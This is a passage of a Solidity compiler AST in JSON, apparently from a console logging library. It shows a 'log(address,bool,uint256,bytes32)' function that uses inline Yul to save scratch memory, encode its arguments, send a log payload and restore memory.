ility":"mutable","name":"m2","nameLocation":"109934:2:22","nodeType":"VariableDeclaration","scope":37363,"src":"109926:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37341,"name":"bytes32","nodeType":"ElementaryTypeName","src":"109926:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37343,"nodeType":"VariableDeclarationStatement","src":"109926:10:22"},{"assignments":[37345],"declarations":[{"constant":false,"id":37345,"mutability":"mutable","name":"m3","nameLocation":"109954:2:22","nodeType":"VariableDeclaration","scope":37363,"src":"109946:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37344,"name":"bytes32","nodeType":"ElementaryTypeName","src":"109946:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37346,"nodeType":"VariableDeclarationStatement","src":"109946:10:22"},{"assignments":[37348],"declarations":[{"constant":false,"id":37348,"mutability":"mutable","name":"m4","nameLocation":"109974:2:22","nodeType":"VariableDeclaration","scope":37363,"src":"109966:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37347,"name":"bytes32","nodeType":"ElementaryTypeName","src":"109966:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37349,"nodeType":"VariableDeclarationStatement","src":"109966:10:22"},{"assignments":[37351],"declarations":[{"constant":false,"id":37351,"mutability":"mutable","name":"m5","nameLocation":"109994:2:22","nodeType":"VariableDeclaration","scope":37363,"src":"109986:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37350,"name":"bytes32","nodeType":"ElementaryTypeName","src":"109986:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37352,"nodeType":"VariableDeclarationStatement","src":"109986:10:22"},{"assignments":[37354],"declarations":[{"constant":false,"id":37354,"mutability":"mutable","name":"m6","nameLocation":"110014:2:22","nodeType":"VariableDeclaration","scope":37363,"src":"110006:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37353,"name":"bytes32","nodeType":"ElementaryTypeName","src":"110006:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37355,"nodeType":"VariableDeclarationStatement","src":"110006:10:22"},{"AST":{"nativeSrc":"110035:828:22","nodeType":"YulBlock","src":"110035:828:22","statements":[{"body":{"nativeSrc":"110078:313:22","nodeType":"YulBlock","src":"110078:313:22","statements":[{"nativeSrc":"110096:15:22","nodeType":"YulVariableDeclaration","src":"110096:15:22","value":{"kind":"number","nativeSrc":"110110:1:22","nodeType":"YulLiteral","src":"110110:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"110100:6:22","nodeType":"YulTypedName","src":"110100:6:22","type":""}]},{"body":{"nativeSrc":"110181:40:22","nodeType":"YulBlock","src":"110181:40:22","statements":[{"body":{"nativeSrc":"110210:9:22","nodeType":"YulBlock","src":"110210:9:22","statements":[{"nativeSrc":"110212:5:22","nodeType":"YulBreak","src":"110212:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"110198:6:22","nodeType":"YulIdentifier","src":"110198:6:22"},{"name":"w","nativeSrc":"110206:1:22","nodeType":"YulIdentifier","src":"110206:1:22"}],"functionName":{"name":"byte","nativeSrc":"110193:4:22","nodeType":"YulIdentifier","src":"110193:4:22"},"nativeSrc":"110193:15:22","nodeType":"YulFunctionCall","src":"110193:15:22"}],"functionName":{"name":"iszero","nativeSrc":"110186:6:22","nodeType":"YulIdentifier","src":"110186:6:22"},"nativeSrc":"110186:23:22","nodeType":"YulFunctionCall","src":"110186:23:22"},"nativeSrc":"110183:36:22","nodeType":"YulIf","src":"110183:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"110138:6:22","nodeType":"YulIdentifier","src":"110138:6:22"},{"kind":"number","nativeSrc":"110146:4:22","nodeType":"YulLiteral","src":"110146:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"110135:2:22","nodeType":"YulIdentifier","src":"110135:2:22"},"nativeSrc":"110135:16:22","nodeType":"YulFunctionCall","src":"110135:16:22"},"nativeSrc":"110128:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"110152:28:22","nodeType":"YulBlock","src":"110152:28:22","statements":[{"nativeSrc":"110154:24:22","nodeType":"YulAssignment","src":"110154:24:22","value":{"arguments":[{"name":"length","nativeSrc":"110168:6:22","nodeType":"YulIdentifier","src":"110168:6:22"},{"kind":"number","nativeSrc":"110176:1:22","nodeType":"YulLiteral","src":"110176:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"110164:3:22","nodeType":"YulIdentifier","src":"110164:3:22"},"nativeSrc":"110164:14:22","nodeType":"YulFunctionCall","src":"110164:14:22"},"variableNames":[{"name":"length","nativeSrc":"110154:6:22","nodeType":"YulIdentifier","src":"110154:6:22"}]}]},"pre":{"nativeSrc":"110132:2:22","nodeType":"YulBlock","src":"110132:2:22","statements":[]},"src":"110128:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"110245:3:22","nodeType":"YulIdentifier","src":"110245:3:22"},{"name":"length","nativeSrc":"110250:6:22","nodeType":"YulIdentifier","src":"110250:6:22"}],"functionName":{"name":"mstore","nativeSrc":"110238:6:22","nodeType":"YulIdentifier","src":"110238:6:22"},"nativeSrc":"110238:19:22","nodeType":"YulFunctionCall","src":"110238:19:22"},"nativeSrc":"110238:19:22","nodeType":"YulExpressionStatement","src":"110238:19:22"},{"nativeSrc":"110274:37:22","nodeType":"YulVariableDeclaration","src":"110274:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"110291:3:22","nodeType":"YulLiteral","src":"110291:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"110300:1:22","nodeType":"YulLiteral","src":"110300:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"110303:6:22","nodeType":"YulIdentifier","src":"110303:6:22"}],"functionName":{"name":"shl","nativeSrc":"110296:3:22","nodeType":"YulIdentifier","src":"110296:3:22"},"nativeSrc":"110296:14:22","nodeType":"YulFunctionCall","src":"110296:14:22"}],"functionName":{"name":"sub","nativeSrc":"110287:3:22","nodeType":"YulIdentifier","src":"110287:3:22"},"nativeSrc":"110287:24:22","nodeType":"YulFunctionCall","src":"110287:24:22"},"variables":[{"name":"shift","nativeSrc":"110278:5:22","nodeType":"YulTypedName","src":"110278:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"110339:3:22","nodeType":"YulIdentifier","src":"110339:3:22"},{"kind":"number","nativeSrc":"110344:4:22","nodeType":"YulLiteral","src":"110344:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"110335:3:22","nodeType":"YulIdentifier","src":"110335:3:22"},"nativeSrc":"110335:14:22","nodeType":"YulFunctionCall","src":"110335:14:22"},{"arguments":[{"name":"shift","nativeSrc":"110355:5:22","nodeType":"YulIdentifier","src":"110355:5:22"},{"arguments":[{"name":"shift","nativeSrc":"110366:5:22","nodeType":"YulIdentifier","src":"110366:5:22"},{"name":"w","nativeSrc":"110373:1:22","nodeType":"YulIdentifier","src":"110373:1:22"}],"functionName":{"name":"shr","nativeSrc":"110362:3:22","nodeType":"YulIdentifier","src":"110362:3:22"},"nativeSrc":"110362:13:22","nodeType":"YulFunctionCall","src":"110362:13:22"}],"functionName":{"name":"shl","nativeSrc":"110351:3:22","nodeType":"YulIdentifier","src":"110351:3:22"},"nativeSrc":"110351:25:22","nodeType":"YulFunctionCall","src":"110351:25:22"}],"functionName":{"name":"mstore","nativeSrc":"110328:6:22","nodeType":"YulIdentifier","src":"110328:6:22"},"nativeSrc":"110328:49:22","nodeType":"YulFunctionCall","src":"110328:49:22"},"nativeSrc":"110328:49:22","nodeType":"YulExpressionStatement","src":"110328:49:22"}]},"name":"writeString","nativeSrc":"110049:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"110070:3:22","nodeType":"YulTypedName","src":"110070:3:22","type":""},{"name":"w","nativeSrc":"110075:1:22","nodeType":"YulTypedName","src":"110075:1:22","type":""}],"src":"110049:342:22"},{"nativeSrc":"110404:17:22","nodeType":"YulAssignment","src":"110404:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"110416:4:22","nodeType":"YulLiteral","src":"110416:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"110410:5:22","nodeType":"YulIdentifier","src":"110410:5:22"},"nativeSrc":"110410:11:22","nodeType":"YulFunctionCall","src":"110410:11:22"},"variableNames":[{"name":"m0","nativeSrc":"110404:2:22","nodeType":"YulIdentifier","src":"110404:2:22"}]},{"nativeSrc":"110434:17:22","nodeType":"YulAssignment","src":"110434:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"110446:4:22","nodeType":"YulLiteral","src":"110446:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"110440:5:22","nodeType":"YulIdentifier","src":"110440:5:22"},"nativeSrc":"110440:11:22","nodeType":"YulFunctionCall","src":"110440:11:22"},"variableNames":[{"name":"m1","nativeSrc":"110434:2:22","nodeType":"YulIdentifier","src":"110434:2:22"}]},{"nativeSrc":"110464:17:22","nodeType":"YulAssignment","src":"110464:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"110476:4:22","nodeType":"YulLiteral","src":"110476:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"110470:5:22","nodeType":"YulIdentifier","src":"110470:5:22"},"nativeSrc":"110470:11:22","nodeType":"YulFunctionCall","src":"110470:11:22"},"variableNames":[{"name":"m2","nativeSrc":"110464:2:22","nodeType":"YulIdentifier","src":"110464:2:22"}]},{"nativeSrc":"110494:17:22","nodeType":"YulAssignment","src":"110494:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"110506:4:22","nodeType":"YulLiteral","src":"110506:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"110500:5:22","nodeType":"YulIdentifier","src":"110500:5:22"},"nativeSrc":"110500:11:22","nodeType":"YulFunctionCall","src":"110500:11:22"},"variableNames":[{"name":"m3","nativeSrc":"110494:2:22","nodeType":"YulIdentifier","src":"110494:2:22"}]},{"nativeSrc":"110524:17:22","nodeType":"YulAssignment","src":"110524:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"110536:4:22","nodeType":"YulLiteral","src":"110536:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"110530:5:22","nodeType":"YulIdentifier","src":"110530:5:22"},"nativeSrc":"110530:11:22","nodeType":"YulFunctionCall","src":"110530:11:22"},"variableNames":[{"name":"m4","nativeSrc":"110524:2:22","nodeType":"YulIdentifier","src":"110524:2:22"}]},{"nativeSrc":"110554:17:22","nodeType":"YulAssignment","src":"110554:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"110566:4:22","nodeType":"YulLiteral","src":"110566:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"110560:5:22","nodeType":"YulIdentifier","src":"110560:5:22"},"nativeSrc":"110560:11:22","nodeType":"YulFunctionCall","src":"110560:11:22"},"variableNames":[{"name":"m5","nativeSrc":"110554:2:22","nodeType":"YulIdentifier","src":"110554:2:22"}]},{"nativeSrc":"110584:17:22","nodeType":"YulAssignment","src":"110584:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"110596:4:22","nodeType":"YulLiteral","src":"110596:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"110590:5:22","nodeType":"YulIdentifier","src":"110590:5:22"},"nativeSrc":"110590:11:22","nodeType":"YulFunctionCall","src":"110590:11:22"},"variableNames":[{"name":"m6","nativeSrc":"110584:2:22","nodeType":"YulIdentifier","src":"110584:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"110684:4:22","nodeType":"YulLiteral","src":"110684:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"110690:10:22","nodeType":"YulLiteral","src":"110690:10:22","type":"","value":"0x0aa6cfad"}],"functionName":{"name":"mstore","nativeSrc":"110677:6:22","nodeType":"YulIdentifier","src":"110677:6:22"},"nativeSrc":"110677:24:22","nodeType":"YulFunctionCall","src":"110677:24:22"},"nativeSrc":"110677:24:22","nodeType":"YulExpressionStatement","src":"110677:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"110721:4:22","nodeType":"YulLiteral","src":"110721:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"110727:2:22","nodeType":"YulIdentifier","src":"110727:2:22"}],"functionName":{"name":"mstore","nativeSrc":"110714:6:22","nodeType":"YulIdentifier","src":"110714:6:22"},"nativeSrc":"110714:16:22","nodeType":"YulFunctionCall","src":"110714:16:22"},"nativeSrc":"110714:16:22","nodeType":"YulExpressionStatement","src":"110714:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"110750:4:22","nodeType":"YulLiteral","src":"110750:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"110756:2:22","nodeType":"YulIdentifier","src":"110756:2:22"}],"functionName":{"name":"mstore","nativeSrc":"110743:6:22","nodeType":"YulIdentifier","src":"110743:6:22"},"nativeSrc":"110743:16:22","nodeType":"YulFunctionCall","src":"110743:16:22"},"nativeSrc":"110743:16:22","nodeType":"YulExpressionStatement","src":"110743:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"110779:4:22","nodeType":"YulLiteral","src":"110779:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"110785:2:22","nodeType":"YulIdentifier","src":"110785:2:22"}],"functionName":{"name":"mstore","nativeSrc":"110772:6:22","nodeType":"YulIdentifier","src":"110772:6:22"},"nativeSrc":"110772:16:22","nodeType":"YulFunctionCall","src":"110772:16:22"},"nativeSrc":"110772:16:22","nodeType":"YulExpressionStatement","src":"110772:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"110808:4:22","nodeType":"YulLiteral","src":"110808:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"110814:4:22","nodeType":"YulLiteral","src":"110814:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"110801:6:22","nodeType":"YulIdentifier","src":"110801:6:22"},"nativeSrc":"110801:18:22","nodeType":"YulFunctionCall","src":"110801:18:22"},"nativeSrc":"110801:18:22","nodeType":"YulExpressionStatement","src":"110801:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"110844:4:22","nodeType":"YulLiteral","src":"110844:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"110850:2:22","nodeType":"YulIdentifier","src":"110850:2:22"}],"functionName":{"name":"writeString","nativeSrc":"110832:11:22","nodeType":"YulIdentifier","src":"110832:11:22"},"nativeSrc":"110832:21:22","nodeType":"YulFunctionCall","src":"110832:21:22"},"nativeSrc":"110832:21:22","nodeType":"YulExpressionStatement","src":"110832:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37336,"isOffset":false,"isSlot":false,"src":"110404:2:22","valueSize":1},{"declaration":37339,"isOffset":false,"isSlot":false,"src":"110434:2:22","valueSize":1},{"declaration":37342,"isOffset":false,"isSlot":false,"src":"110464:2:22","valueSize":1},{"declaration":37345,"isOffset":false,"isSlot":false,"src":"110494:2:22","valueSize":1},{"declaration":37348,"isOffset":false,"isSlot":false,"src":"110524:2:22","valueSize":1},{"declaration":37351,"isOffset":false,"isSlot":false,"src":"110554:2:22","valueSize":1},{"declaration":37354,"isOffset":false,"isSlot":false,"src":"110584:2:22","valueSize":1},{"declaration":37326,"isOffset":false,"isSlot":false,"src":"110727:2:22","valueSize":1},{"declaration":37328,"isOffset":false,"isSlot":false,"src":"110756:2:22","valueSize":1},{"declaration":37330,"isOffset":false,"isSlot":false,"src":"110785:2:22","valueSize":1},{"declaration":37332,"isOffset":false,"isSlot":false,"src":"110850:2:22","valueSize":1}],"id":37356,"nodeType":"InlineAssembly","src":"110026:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37358,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"110888:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":37359,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"110894:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":37357,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"110872:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37360,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"110872:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37361,"nodeType":"ExpressionStatement","src":"110872:27:22"},{"AST":{"nativeSrc":"110918:214:22","nodeType":"YulBlock","src":"110918:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"110939:4:22","nodeType":"YulLiteral","src":"110939:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"110945:2:22","nodeType":"YulIdentifier","src":"110945:2:22"}],"functionName":{"name":"mstore","nativeSrc":"110932:6:22","nodeType":"YulIdentifier","src":"110932:6:22"},"nativeSrc":"110932:16:22","nodeType":"YulFunctionCall","src":"110932:16:22"},"nativeSrc":"110932:16:22","nodeType":"YulExpressionStatement","src":"110932:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"110968:4:22","nodeType":"YulLiteral","src":"110968:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"110974:2:22","nodeType":"YulIdentifier","src":"110974:2:22"}],"functionName":{"name":"mstore","nativeSrc":"110961:6:22","nodeType":"YulIdentifier","src":"110961:6:22"},"nativeSrc":"110961:16:22","nodeType":"YulFunctionCall","src":"110961:16:22"},"nativeSrc":"110961:16:22","nodeType":"YulExpressionStatement","src":"110961:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"110997:4:22","nodeType":"YulLiteral","src":"110997:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"111003:2:22","nodeType":"YulIdentifier","src":"111003:2:22"}],"functionName":{"name":"mstore","nativeSrc":"110990:6:22","nodeType":"YulIdentifier","src":"110990:6:22"},"nativeSrc":"110990:16:22","nodeType":"YulFunctionCall","src":"110990:16:22"},"nativeSrc":"110990:16:22","nodeType":"YulExpressionStatement","src":"110990:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"111026:4:22","nodeType":"YulLiteral","src":"111026:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"111032:2:22","nodeType":"YulIdentifier","src":"111032:2:22"}],"functionName":{"name":"mstore","nativeSrc":"111019:6:22","nodeType":"YulIdentifier","src":"111019:6:22"},"nativeSrc":"111019:16:22","nodeType":"YulFunctionCall","src":"111019:16:22"},"nativeSrc":"111019:16:22","nodeType":"YulExpressionStatement","src":"111019:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"111055:4:22","nodeType":"YulLiteral","src":"111055:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"111061:2:22","nodeType":"YulIdentifier","src":"111061:2:22"}],"functionName":{"name":"mstore","nativeSrc":"111048:6:22","nodeType":"YulIdentifier","src":"111048:6:22"},"nativeSrc":"111048:16:22","nodeType":"YulFunctionCall","src":"111048:16:22"},"nativeSrc":"111048:16:22","nodeType":"YulExpressionStatement","src":"111048:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"111084:4:22","nodeType":"YulLiteral","src":"111084:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"111090:2:22","nodeType":"YulIdentifier","src":"111090:2:22"}],"functionName":{"name":"mstore","nativeSrc":"111077:6:22","nodeType":"YulIdentifier","src":"111077:6:22"},"nativeSrc":"111077:16:22","nodeType":"YulFunctionCall","src":"111077:16:22"},"nativeSrc":"111077:16:22","nodeType":"YulExpressionStatement","src":"111077:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"111113:4:22","nodeType":"YulLiteral","src":"111113:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"111119:2:22","nodeType":"YulIdentifier","src":"111119:2:22"}],"functionName":{"name":"mstore","nativeSrc":"111106:6:22","nodeType":"YulIdentifier","src":"111106:6:22"},"nativeSrc":"111106:16:22","nodeType":"YulFunctionCall","src":"111106:16:22"},"nativeSrc":"111106:16:22","nodeType":"YulExpressionStatement","src":"111106:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37336,"isOffset":false,"isSlot":false,"src":"110945:2:22","valueSize":1},{"declaration":37339,"isOffset":false,"isSlot":false,"src":"110974:2:22","valueSize":1},{"declaration":37342,"isOffset":false,"isSlot":false,"src":"111003:2:22","valueSize":1},{"declaration":37345,"isOffset":false,"isSlot":false,"src":"111032:2:22","valueSize":1},{"declaration":37348,"isOffset":false,"isSlot":false,"src":"111061:2:22","valueSize":1},{"declaration":37351,"isOffset":false,"isSlot":false,"src":"111090:2:22","valueSize":1},{"declaration":37354,"isOffset":false,"isSlot":false,"src":"111119:2:22","valueSize":1}],"id":37362,"nodeType":"InlineAssembly","src":"110909:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"109813:3:22","parameters":{"id":37333,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37326,"mutability":"mutable","name":"p0","nameLocation":"109825:2:22","nodeType":"VariableDeclaration","scope":37364,"src":"109817:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37325,"name":"address","nodeType":"ElementaryTypeName","src":"109817:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37328,"mutability":"mutable","name":"p1","nameLocation":"109834:2:22","nodeType":"VariableDeclaration","scope":37364,"src":"109829:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37327,"name":"bool","nodeType":"ElementaryTypeName","src":"109829:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37330,"mutability":"mutable","name":"p2","nameLocation":"109846:2:22","nodeType":"VariableDeclaration","scope":37364,"src":"109838:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37329,"name":"uint256","nodeType":"ElementaryTypeName","src":"109838:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37332,"mutability":"mutable","name":"p3","nameLocation":"109858:2:22","nodeType":"VariableDeclaration","scope":37364,"src":"109850:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37331,"name":"bytes32","nodeType":"ElementaryTypeName","src":"109850:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"109816:45:22"},"returnParameters":{"id":37334,"nodeType":"ParameterList","parameters":[],"src":"109876:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37404,"nodeType":"FunctionDefinition","src":"111144:1334:22","nodes":[],"body":{"id":37403,"nodeType":"Block","src":"111216:1262:22","nodes":[],"statements":[{"assignments":[37376],"declarations":[{"constant":false,"id":37376,"mutability":"mutable","name":"m0","nameLocation":"111234:2:22","nodeType":"VariableDeclaration","scope":37403,"src":"111226:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37375,"name":"bytes32","nodeType":"ElementaryTypeName","src":"111226:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37377,"nodeType":"VariableDeclarationStatement","src":"111226:10:22"},{"assignments":[37379],"declarations":[{"constant":false,"id":37379,"mutability":"mutable","name":"m1","nameLocation":"111254:2:22","nodeType":"VariableDeclaration","scope":37403,"src":"111246:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37378,"name":"bytes32","nodeType":"ElementaryTypeName","src":"111246:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37380,"nodeType":"VariableDeclarationStatement","src":"111246:10:22"},{"assignments":[37382],"declarations":[{"constant":false,"id":37382,"mutability":"mutable","name":"m2","nameLocation":"111274:2:22","nodeType":"VariableDeclaration","scope":37403,"src":"111266:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37381,"name":"bytes32","nodeType":"ElementaryTypeName","src":"111266:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37383,"nodeType":"VariableDeclarationStatement","src":"111266:10:22"},{"assignments":[37385],"declarations":[{"constant":false,"id":37385,"mutability":"mutable","name":"m3","nameLocation":"111294:2:22","nodeType":"VariableDeclaration","scope":37403,"src":"111286:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37384,"name":"bytes32","nodeType":"ElementaryTypeName","src":"111286:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37386,"nodeType":"VariableDeclarationStatement","src":"111286:10:22"},{"assignments":[37388],"declarations":[{"constant":false,"id":37388,"mutability":"mutable","name":"m4","nameLocation":"111314:2:22","nodeType":"VariableDeclaration","scope":37403,"src":"111306:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37387,"name":"bytes32","nodeType":"ElementaryTypeName","src":"111306:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37389,"nodeType":"VariableDeclarationStatement","src":"111306:10:22"},{"assignments":[37391],"declarations":[{"constant":false,"id":37391,"mutability":"mutable","name":"m5","nameLocation":"111334:2:22","nodeType":"VariableDeclaration","scope":37403,"src":"111326:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37390,"name":"bytes32","nodeType":"ElementaryTypeName","src":"111326:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37392,"nodeType":"VariableDeclarationStatement","src":"111326:10:22"},{"assignments":[37394],"declarations":[{"constant":false,"id":37394,"mutability":"mutable","name":"m6","nameLocation":"111354:2:22","nodeType":"VariableDeclaration","scope":37403,"src":"111346:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37393,"name":"bytes32","nodeType":"ElementaryTypeName","src":"111346:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37395,"nodeType":"VariableDeclarationStatement","src":"111346:10:22"},{"AST":{"nativeSrc":"111375:828:22","nodeType":"YulBlock","src":"111375:828:22","statements":[{"body":{"nativeSrc":"111418:313:22","nodeType":"YulBlock","src":"111418:313:22","statements":[{"nativeSrc":"111436:15:22","nodeType":"YulVariableDeclaration","src":"111436:15:22","value":{"kind":"number","nativeSrc":"111450:1:22","nodeType":"YulLiteral","src":"111450:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"111440:6:22","nodeType":"YulTypedName","src":"111440:6:22","type":""}]},{"body":{"nativeSrc":"111521:40:22","nodeType":"YulBlock","src":"111521:40:22","statements":[{"body":{"nativeSrc":"111550:9:22","nodeType":"YulBlock","src":"111550:9:22","statements":[{"nativeSrc":"111552:5:22","nodeType":"YulBreak","src":"111552:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"111538:6:22","nodeType":"YulIdentifier","src":"111538:6:22"},{"name":"w","nativeSrc":"111546:1:22","nodeType":"YulIdentifier","src":"111546:1:22"}],"functionName":{"name":"byte","nativeSrc":"111533:4:22","nodeType":"YulIdentifier","src":"111533:4:22"},"nativeSrc":"111533:15:22","nodeType":"YulFunctionCall","src":"111533:15:22"}],"functionName":{"name":"iszero","nativeSrc":"111526:6:22","nodeType":"YulIdentifier","src":"111526:6:22"},"nativeSrc":"111526:23:22","nodeType":"YulFunctionCall","src":"111526:23:22"},"nativeSrc":"111523:36:22","nodeType":"YulIf","src":"111523:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"111478:6:22","nodeType":"YulIdentifier","src":"111478:6:22"},{"kind":"number","nati